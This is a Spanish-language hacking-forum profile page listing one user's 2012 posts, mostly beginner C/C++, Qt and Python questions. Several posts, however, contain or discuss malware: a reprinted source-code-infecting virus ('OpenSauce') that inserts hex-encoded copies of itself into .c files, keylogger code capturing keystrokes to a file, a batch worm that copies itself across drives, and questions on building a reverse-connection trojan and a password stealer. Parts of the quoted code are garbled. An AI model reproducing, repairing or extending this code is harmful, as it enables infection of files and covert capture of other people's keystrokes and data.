Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 0xDani

#46
Programación C/C++ / Ayuda con este codigo.
6 Agosto 2012, 14:54 PM
Bueno estoy leyendo un codigo que un usuario posteo hace poco y que decia que era un jailbreak de la ps3 o algo asi. Bueno el caso es que hay algunas partes del codigo que no llego a entender. Las dejo aqui por si alguien me puede ayudar.

Antes de poner codigo, aclaro que u8 es un typedef de char, u16 de unsigned short, u32 de unsigned int y u64 de unsigned long long.

La primera:
Aqui aparece la estuctura elf_hdr, no la pongo para no ocupar mas espacio.
int elf_read_hdr(u8 *hdr, struct elf_hdr *h)
{
int arch64;
memcpy(h->e_ident, hdr, 16);
hdr += 16;

arch64 = h->e_ident[4] == 2;

h->e_type = be16(hdr);
hdr += 2;
h->e_machine = be16(hdr);
hdr += 2;
h->e_version = be32(hdr);
hdr += 4;

if (arch64) {
h->e_entry = be64(hdr);
h->e_phoff = be64(hdr + 8);
h->e_shoff = be64(hdr + 16);
hdr += 24;
} else {
h->e_entry = be32(hdr);
h->e_phoff = be32(hdr + 4);
h->e_shoff = be32(hdr + 8);
hdr += 12;
}

h->e_flags = be32(hdr);
hdr += 4;

h->e_ehsize = be16(hdr);
hdr += 2;
h->e_phentsize = be16(hdr);
hdr += 2;
h->e_phnum = be16(hdr);
hdr += 2;
h->e_shentsize = be16(hdr);
hdr += 2;
h->e_shnum = be16(hdr);
hdr += 2;
h->e_shtrndx = be16(hdr);

return arch64;
}


Las funciones be16, be32 y be64 estan aqui:
static inline u16 be16(u8 *p)
{
u16 a;

a  = p[0] << 8;
a |= p[1];

return a;
}

static inline u32 be32(u8 *p)
{
u32 a;

a  = p[0] << 24;
a |= p[1] << 16;
a |= p[2] <<  8;
a |= p[3] <<  0;

return a;
}

static inline u64 be64(u8 *p)
{
u32 a, b;

a = be32(p);
b = be32(p + 4);

return ((u64)a<<32) | b;
}


En realidad lo que menos entiendo son las funciones be16, be32 y be64. Y por si alguien va a decirme que no espere que me hagan la tarea, tambien aclaro que esto solo es una parte de un codigo mucho mas grande(foro.elhacker.net/dudas_generales/iquestalguien_me_podria_hacer_el_gran_favor_de_pasar_esto_a_exe-
t368531.0.html).

Saludos.
#47
 Bueno estoy intentando leer el Elf header de un archivo ELF, para obtener una estructura Elf32_Ehdr, y obtener todos los datos de una .so(libreria dinamica) que vienen definidos en esta estructura, para luego poder poder ejecutarla. ¿Esto se podria hacer abriendola en modo binario con fopen()?. Espero que alguien me pueda orientar un poco con este tema.

Saludos.

PD: Esta estructura y otras relacionadas con el formato ELF vienen definidas en elf.h

EDIT: He encontrado esto, en el xploit de abo2.c se obtienen las secciones(y el elf header) usando fread, pero no se muy bien porque lo hace asi:(
www.govannom.org/e-zines/netsearch/ns008/ns8-0x04.txt
#48
Bueno mi problema es que estaba buscando la forma de implementar una conexion con una libreria de sockets multiplataforma, y descargue tanto las librerias de happycoders como las de boost. Al intentar compilar no hace falta que enlace con ninguna de las dos, el g++ las encuentra, pero me lanza varios errores en las librerias, incluso si copio y pego los ejemplos de las webs. ¿Alguien sabe porque pasa esto?¿Puede ser que me falten dependencias en ubuntu?

Saludos.
#49
Bueno pues resulta que estoy haciendo un mini-troyano por asi decirlo, sin interfaz grafica, con el objetivo de que sea ligero, rapido y usable, y estoy usando para las conexiones la libreria sys/socket.h. La idea es que te permita explorar los directorios y archivos, abrirlos, modificarlos y descargarlos. Y el problema que como es de conexion inversa no se como hacer para configurar el servidor para que se conecte al ordenador en el que se haya ejecutado la primera vez, o en el que se haya configurado, sin utilizar un archivo de texto externo, o hacer la brutalidad de almacenar el codigo fuente del server en un array, obtener la IP del equipo local y compilarlo configurado.
¿Alguien sabe como se suelen hacer estas cosas?

Saludos y gracias de antemano.
#50
Bueno estaba desvelado leyendo un articulo cuando me encontre esto en mitad de un codigo. ¿Alguien me exolica que es?

<--------------------->
<----opensauce.c------>
<--------------------->

/*
* OpenSauce
*
* A trial to infect source code
*                   zert <zert@int80h.net>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while>0)//Aqui
      if>=0) {//Y Aqui
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while>0) {
              if( >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
<---------------------->
<--end of-opensauce.c-->
<---------------------->


Donde pone aqui y aqui se usan dos condiciones muy raras.

Saludos.

PD: Lo saque de http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/
#51
Ingeniería Inversa / Debugger linux.
6 Julio 2012, 16:35 PM
Hola, soy nuevo en este subforo, trabajo en ubuntu y quisiera preguntarles si conocen un buen debugger para linux parecido al olly. He descargado el bokken, que es una interfaz grafica para otros dos programas o algo asi, pero no me deja modificar el ejecutable.

Saludos.

PD: No me gusta el DDD.
#52
Programación C/C++ / Error con Qt.
5 Julio 2012, 18:28 PM
A ver si alguien me puede ayudar:
Tengo un codigo bastante simple hecho con Qt y me lanza un error que no se resolver.

Dejo el codigo, el error me lo lanza en la funcion connect, linea 18, me dice: Expected constructor, destructor or type conversion before '(' token.

Código (cpp) [Seleccionar]

#include <QGraphicsView>
#include <QImage>
#include "mainwindow.h"
#include "ui_mainwindow.h"

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    delete ui;
}

QObject::connect (ui->pushButton, SIGNAL(clicked()), this, SLOT(MainWindow::on_pushButton_clicked()));

void MainWindow::on_pushButton_clicked()
{

    QGraphicsScene scene;
    scene.addPixmap(QPixmap("ruta/del/archivo.jpg"));
    QGraphicsView graphicsView(&scene);
    graphicsView.show();
    graphicsView.centerOn(5.6, 4.5);

}



Saludos y gracias de antemano.
#53
Programación C/C++ / APIs graficas.
2 Julio 2012, 17:05 PM
Bueno pues resulta que llevo un buen tiempo que programando en C++, pero nunca he hecho una aplicacion con interfaz grafica, y quiero empezar a usar un framework de desarrollo. He oido de los mas famosos(GTK+, Qt), pero quisiera que opinasen sobre cual es el mejor, el mas facil de usar, en cual hay que usar menos codigo y en general esas cosas, y me recomendasen los que crean que son mejores.

Saludos y gracias de antemano.
#54
Programación C/C++ / Get/Post en C++.
28 Junio 2012, 20:48 PM
Hola pues eso, ¿alguien sabe como hacer un get/post a una web en c++?¿Y como te puedes loguear? ¿Hay que utilizar alguna API o algo, o existen funciones estandar?

Saludos y gracias de antemano. 
#55
Análisis y Diseño de Malware / Hola?
26 Junio 2012, 21:12 PM
Si no me equivoco, hace ya varios dias que no hay un solo post en este subforo.
Ya no se lleva crear malware?
#56
Programación C/C++ / Error de ejecucion
14 Junio 2012, 20:06 PM
Bueno estaba haciendo un pequeño codigo que te fuese mostrando las coordenadas del cursor, y me compilo bien, pero al ejecutarlo me dice "Violacion de segmento ('core' generado)".


#include <X11/Xlib.h>
#include <iostream>


int main(){
Display* d=XOpenDisplay(NULL);
Window root=DefaultRootWindow(d);
int mousex, mousey;
bool loop=true;
while(loop)
{XQueryPointer(d, root, &root, &root, &mousex, &mousey, &mousex, &mousey, NULL);
std::cout << "(" << mousex << mousey << ")" << std::endl;
if(mousex==1 && mousey==1)loop=false;}
return 0;
}


Saludos y gracias de antemano ;D
#57
Programación C/C++ / instalar allegro.h
13 Junio 2012, 17:53 PM
Hola ¿alguien sabe de donde puedo descargar allegro.h y como instalarla en linux?

Saludos ;D
#58
Bueno mi pregunta es: ¿si yo quiero definir una o mas clases en una biblioteca que extension debe tener? He visto algo de archivos .hh y .cc pero no se como va eso.

Saludos ;D
#59
Programación C/C++ / como funciona un stealer
11 Junio 2012, 20:18 PM
Alguien ha programado alguna vez un stealer? En que se basan estos programas? Hay que programarlos especificos para conseguir un tipo de contraseñas?

Saludos ;D
#60
Tengo entendido que XQueryKeymap retorna un array de bytes que in dica el estado del teclado, pero una vez que lo obtengo como interpreto este array para saber que teclas estan pulsadas? :huh:
#61
Bueno sigo haciendo mi keylogger y me he metido con las Xlib, he hecho este codigo para que recoja los eventos del teclado y los guarde en un archivo, pero no me funciona,me abre el fichero pero esta vacio, si alguien me puede decir porque... Dejo el codigo:

#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <stdio.h>



int main(){
bool bucle=true;
FILE* fichero=fopen("string.txt", "a");
XEvent evento;
Display* display=XOpenDisplay(NULL);
Window ventana;
int pantalla;
unsigned long negro, blanco;
pantalla=DefaultScreen(display);
negro=BlackPixel(display, pantalla);
blanco=WhitePixel(display, pantalla);
ventana=XCreateSimpleWindow(display, DefaultRootWindow(display), 200, 200, 200, 200, 200, negro, blanco);
XMapWindow(display, ventana);
XSelectInput(display, ventana, KeyPressMask);
XFlush(display);
while (bucle==true){
XNextEvent(display, &evento);
XFlush(display);
switch (evento.type){
  case KeyPress:
   {fputc(getc(stdin), fichero); fflush(fichero);}
   continue;
  default:
  continue;
}
}
return 0;
}


Saludos y gracias de antemano.
#62
Programación C/C++ / Compilar Xlib.
8 Junio 2012, 16:10 PM
Hola veran, estoy usando las Xlib en Code::Blocks, en Ubuntu y he mirado documentacion, pero al usar las funciones que aparecen en dicha documentacion, me saltan errores que dicen: 'undefined reference to Xejemplo()'. ?Hay que descargarse estas librerias o algo¿ :huh: :huh:

Saludos.
#63
Hola, veran, necesito que alguien me diga como es la sintaxis de la funcion XGetSelectionOwner(Display* display, Atom selection), que parametros se le pueden pasar, en que biblioteca esta definida(porque incluyendo X11/Xlib me dice undefined reference) y esas cosas.

Saludos y gracias de antemano ;D
#64
Hola estoy haciendo un keylogger, que espero que sea multiplataforma, y ya tengo hecho el que coja las teclas y las mande a un archivo de texto, pero no se como coger el foco de la ventana activa. Se cual es la tipica funcion GetForeGroundWindow, pero estoy en ubuntu. ¿Alguien sabe cual es el equivalente de esto en linux?

Dejo lo que llevo por si a alguien le interesa:

#include <stdio.h>
#include <ncurses.h>

FILE* fichero;

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
initscr();
noecho();
nodelay(stdscr, true);
fichero = fopen("string.txt","a");
while (1){
if (kbhit()){fputc(getch(),fichero); fflush(fichero);  }
refresh();
}
return 0; }



Y para compilar: g++ 'ruta/del/codigo/fuente' -o klg   -lncurses

Saludos y gracias de antemano ;D
#65
Programación C/C++ / No puedo compilar esto.
2 Junio 2012, 14:58 PM
Hola, veran estoy haciendo el principio de un keylogger, y utilizo las librerias ncurses y fstream, pero al compilar si lo intento con Code::Blocks me saltan errores de 'undefined reference to wgetch' y asi con todas las funciones de la libreria ncurses, y si lo hago por terminal usando -lncurses me sale lo mismo pero con las funciones de fstream. ¿Que puedo hacer? :huh: :huh:

Les dejo el code:

#include <ncurses.h>
#include <fstream>
using namespace std;

char cadena1[250], cadena2[250], cadena3[250];

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
initscr();
noecho();
nodelay(stdscr, true);
ofstream fs ("string.txt");
while (1){
if (kbhit()){fs << getch();   }
refresh();
}
return 0; }



Saludos y gracias de antemano.
#66
Bueno estoy haciendo un programa muy basico que te da una palabra en ingles seleccionada aleatoriamente y te la pide en español. El problema es que cuando lo ejecuto siempre sale la palabra "Asustado", aunque vuelva a compilar, y que, aunque ponga "h" en vez de "scared" me sale que es correcto. Dejo el code y espero que me puedan ayudar:


#include <cstdlib>
#include <iostream>

using namespace std;

char palabra[35];
int c;

int main(){
  c=(1 + rand() % 2);
  switch (c)
  {
   case 1: {cout <<"Ligth\n"<<"Introduce la palabra y pulsa enter:";  cin >> (palabra); if (palabra=="ligero" || "Ligero" || "Luz"){cout << "Rigth!";} else {cout << "Wrong!";}} break;
   case 2: {cout <<"Asustado\n"<<"Introduce la palabra y pulsa enter:"; cin >> palabra; if (palabra=="scared" || "Scared") {cout << "Rigth!";} else {cout << "Wrong!";} } break;
   default: {cout <<"Se produjo un error";}
  }return 0;
}


Saludos y gracias de antemano;D
#67
Programación C/C++ / Una duda con QT.
29 Mayo 2012, 19:52 PM
Bueno este code me da varios errores al compilarlo y no termino de entender por qué :huh: :huh:
Estaria bien si alguien me pudiera aclarar lo que dice el compilador(lo dejo abajo)

clase.h
#ifndef CLASE_H
#define CLASE_H
#include <QApplication>
#include <QPushButton>
class MyDialog : public QDialog
{
Q_OBJECT
public :
MyDialog (QWidget ∗ parent = 0, const char* name=0);
~MyDialog ( ) ;

private :
QPushButton ∗ button ;
};

#endif//CLASE_H


main.cpp
#include "clase.h"
#include <QApplication>
#include <QPushButton>


int main(int argc, char *argv[])
{
  QApplication Main(argc, argv);
  MyDialog ventana;
  ventana.setCaption("hola");
  ventana.show();
  Main.setMainWidget(&ventana);
  ventana.exec();
  return Main.exec();
}


Lo que dice el compi
g++ -c -pipe -O2 -Wall -W -D_REENTRANT -DQT_WEBKIT -DQT_NO_DEBUG -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED -I/usr/share/qt4/mkspecs/linux-g++ -I. -I/usr/include/qt4/QtCore -I/usr/include/qt4/QtGui -I/usr/include/qt4 -I. -I. -o main.o main.cpp
In file included from main.cpp:1:0:
clase.h:9:1: error: '\342' parásito en el programa
clase.h:9:1: error: '\210' parásito en el programa
clase.h:9:1: error: '\227' parásito en el programa
clase.h:13:1: error: '\342' parásito en el programa
clase.h:13:1: error: '\210' parásito en el programa
clase.h:13:1: error: '\227' parásito en el programa
clase.h:6:1: error: uso inválido del tipo incompleto 'struct QDialog'
/usr/include/qt4/QtGui/qwindowdefs.h:57:7: error: declaración adelantada de 'struct QDialog'
clase.h:9:38: error: expected unqualified-id before '/' token
clase.h:11:1: error: expected unqualified-id before '/' token
main.cpp: En la función 'int main(int, char**)':
main.cpp:9:12: error: la conversión a 'QWidget' desde la lista del inicializador usaría el constructor explícito 'QWidget::QWidget(QWidget*, Qt::WindowFlags)'
main.cpp:10:11: error: 'class MyDialog' no tiene un miembro llamado 'setCaption'
main.cpp:11:11: error: 'class MyDialog' no tiene un miembro llamado 'show'
main.cpp:12:8: error: 'class QApplication' no tiene un miembro llamado 'setMainWidget'
main.cpp:13:11: error: 'class MyDialog' no tiene un miembro llamado 'exec'
make: *** [main.o] Error 1
yo@yo-DOT-SE:~/Documentos/YO/programacion/cap1/dg$ qmake -project
yo@yo-DOT-SE:~/Documentos/YO/programacion/cap1/dg$ qmake
yo@yo-DOT-SE:~/Documentos/YO/programacion/cap1/dg$ make
g++ -c -pipe -O2 -Wall -W -D_REENTRANT -DQT_WEBKIT -DQT_NO_DEBUG -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED -I/usr/share/qt4/mkspecs/linux-g++ -I. -I/usr/include/qt4/QtCore -I/usr/include/qt4/QtGui -I/usr/include/qt4 -I. -I. -o main.o main.cpp
In file included from main.cpp:1:0:
clase.h:9:1: error: '\342' parásito en el programa
clase.h:9:1: error: '\210' parásito en el programa
clase.h:9:1: error: '\227' parásito en el programa
clase.h:13:1: error: '\342' parásito en el programa
clase.h:13:1: error: '\210' parásito en el programa
clase.h:13:1: error: '\227' parásito en el programa
clase.h:6:1: error: uso inválido del tipo incompleto 'struct QDialog'
/usr/include/qt4/QtGui/qwindowdefs.h:57:7: error: declaración adelantada de 'struct QDialog'
main.cpp: En la función 'int main(int, char**)':
main.cpp:9:12: error: la conversión a 'QWidget' desde la lista del inicializador usaría el constructor explícito 'QWidget::QWidget(QWidget*, Qt::WindowFlags)'
main.cpp:10:11: error: 'class MyDialog' no tiene un miembro llamado 'setCaption'
main.cpp:11:11: error: 'class MyDialog' no tiene un miembro llamado 'show'
main.cpp:12:8: error: 'class QApplication' no tiene un miembro llamado 'setMainWidget'
main.cpp:13:11: error: 'class MyDialog' no tiene un miembro llamado 'exec'


Saludos ;D
#68
Programación C/C++ / Manuales API linux
26 Mayo 2012, 15:13 PM
Bueno pues he estado buscando si existe algo asi como la API de windows en linux, pero no he encontrado nada. ¿Me podrian decir si existe algo asi, y si existe, pasarme algun manual?

Saludos ;D
#69
Bueno he estado buscando en google sobre este tema y no he encontrado nada, salvo algunas referencias a la API de windows, pero trabajo en ubuntu. La pregunta es: ¿alguien sabe de alguna biblioteca que contenga alguna funcion para posicionar el cursor en C++?

Saludos ;D
#70
Bueno aqui estoy ya otra vez molestando >:D con el 4º tema sobre el mismo code, realmente me voy a alegrar cuando lo termine.El problema esta en al pulsar una tecla repetidamente deberia terminar el programa debido a la funcion kbhit(), pero no lo hace. :(

Code:

#include <ncurses.h>
#include <unistd.h>

int numbercookies=1;
char cookie[8];
bool bucle=true;

int kbhit(void)
{
   int ch = getch();

   if (ch != ERR) {
       ungetch(ch);
       return 1;
   } else {
       return 0;
   }
}

void funcion(void)
{
while (bucle==true && 1)
{
  initscr();
  cbreak();
  nodelay(stdscr,TRUE);
  printw("I WANT A COOKIE\t");
  numbercookies++;
  refresh();
 
  if (kbhit()){
  numbercookies--;

}
  else{
  sleep(1);
}
  sleep(1);
  if (numbercookies==0) {bucle=false; }


}
endwin();
}

int main()
{
funcion();
return 0;
}

               

Espero que puedan ayudarme :D

Saludos ;D
#71
Programación C/C++ / ayuda con kbhit()
19 Mayo 2012, 17:08 PM
Hola bueno veran he estado buscando como emular la funcion kbhit() de conio.h en ubuntu, yhe encontrado referencias a curses y ncurses, ademas en este foro me las han recomendado, pero no encuentro la forma de emular esta funcion, agradeceria mucho ayuda. :huh:

Saludos :D
#72
Programación C/C++ / error al compilar
18 Mayo 2012, 16:38 PM
Bueno veran, al intentar compilar este programa, que todavia no esta terminado, por supuesto, el compilador me lanza el siguiente error:
"error: a function-definition is not allowed here before '{' token".
Dejo el code por si alguien lo puede solucionar:

#include <iostream>
#include <unistd.h>

char cookie[8];
int numbercookies=1;
bool bucle=true;

void funcion();

int main()
{
    void funcion()


{
    cout << "I WANT A COOKIE\t" << endl;
    numbercookies++;
    cin >> cookie;
    if (cookie=="cookie") numbercookies--;

    else ;

    if (numbercookies==0) bucle=false;


    sleep(2);
}



    while(bucle==true) funcion();


    return 0;
}


Saludos :D
#73
Programación C/C++ / I want a cookie
16 Mayo 2012, 20:10 PM
Hola:

Veran, estoy aprendiendo un poco de C++, y lei algo sobre un virus que sacaba en pantalla 'I WANT A COOKIE' cada cierto intervalo, y que cuando escribias cookie se eliminaba una de estas palabras, y finalmente al eliminarlas todas se cerraba. Decidi hacer una pequeña version de este virus en C++, pero tengo una gran duda: ¿como hago para que mientras que cada intervalo de tiempo este recibiendo las pulsaciones del teclado, o que te de 2 o 3 segundos para escribir y no se interrumpa la ejecución del programa :huh: :huh:?

Saludos y gracias de antemano :D
#74
Scripting / error en python
12 Mayo 2012, 19:40 PM
Hola.
Veran, estoy  tratando de hacer un chat muy, muy básico, ya que es la primera vez que hago algo asi.
El problema es que al querer crear un socket se crea una captura de panttalla de la terminal.
Les dejo el código:

#!usr/bin/env python
try:
import socket
contacto=raw_input("""Introduce el nombre del contacto""")
print """Durante la conversacion, escribe salir  para  cerrar el chat"""
while true:
  sersoc=socket.socket()
  sersoc.bind((contacto,9998))
  sersoc.listen(1)
  clisoc, (host_c, puerto_c)=sersoc.accept()
  mensajerec=sersoc.recv(2048)
  mensajeen=raw_input('escribe tu mensaje:')
  false if mensajeen==salir
  sersoc.send(mensajeen)
  print mensajerec
except:
print """Se ha producido un error y no se xk es, no me  he estudiado los
tipos de excepciones, abre y cierra el chat"""
raw_input('pulsa enter para salir')

y otro programa similar.
Saludos y gracias de antemano.

PD:Uso Ubuntu 12.04
#75
Bueno, veran, tengo entendido que python es un lenguaje de alto nivel, adecuado para aprender ,y de hecho he empezado a aprenderlo.Mis preguntas son:¿se puede compilar python?si es asi, ¿creen que se puede hacer un buen troyano en python?¿seria multiplataforma?
Si se pudiera, me gustaría(a largo plazo, ya que no soy un gran programador) hacer un troyano en python,
pues es bastante facilito.Agradecería mucho algo de orientación. ;)

Saludos.
#76
Bueno he estado intentando crear un mini-gusano (o mejor, practicando batch y pensamiento malicioso a la vez) :¬¬ , y aunque se que seguramente no valdra mucho pido su opinion para tratar de aprender algo.
Lo dejo:

@echo off
:acb
nircmd wait 150000
if exist %homedrive%"\abc.bat" (goto abc) else goto no
:abc
copy /Y %homedrive%"\abc.bat" "%~d0\" >Nul
nircmd wait 150000
goto acb
:No
if exist %%a in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) (goto e) else goto acb
:e
if exist %%a:"\abc.bat" copy /Y %%a:"\abc.bat" %homedrive%
nircmd wait 150000
goto acb


por supuesto esto es solo la parte de la propagacion, y el usar nircmd, un apaño.
Saludos ;D
#77
Buenas veran yo tenia un virus que hacia que me saltase publicidad en internet explorer
y mi antivirus me decia que el proceso que lo provocaba era C:\WINDOWS\System32\ping.exe,
asi que inicie en modo seguro y elimine este archivo, y ahora mi ordenador tiene una "direccion ip no valida", por lo cual no puedo conectarme a internet.Ya he probado a copiar este archivo de otro ordenador,
pero no funciona.¿Qué puedo hacer? :huh: :huh: :(
#78
Scripting / problema con batch
20 Abril 2012, 22:33 PM
bueno yo quiero hacer un programa que compruebe si existe un archivo en %homedrive% y en una unidad extraible recursivamente, para ello he utilizado un bucle if, pero me muestra el siguiente mensaje:
"No se esperaba if en este momento"

Les dejo el código:
Código (dos) [Seleccionar]

@echo off
:abc
if exist E: (goto e) else (goto no)

:e
if exist %homedrive%\abc.bat (goto copy)
pause
exit
:no
goto abc
:copy
copy %homedrive%\abc.bat E:
exit

--------------------o---------------------
perdonen que no presente el code como codigo,
es que soy nuevo,si me pueden decir que etiqueta utilizar lo agradeceria tambien.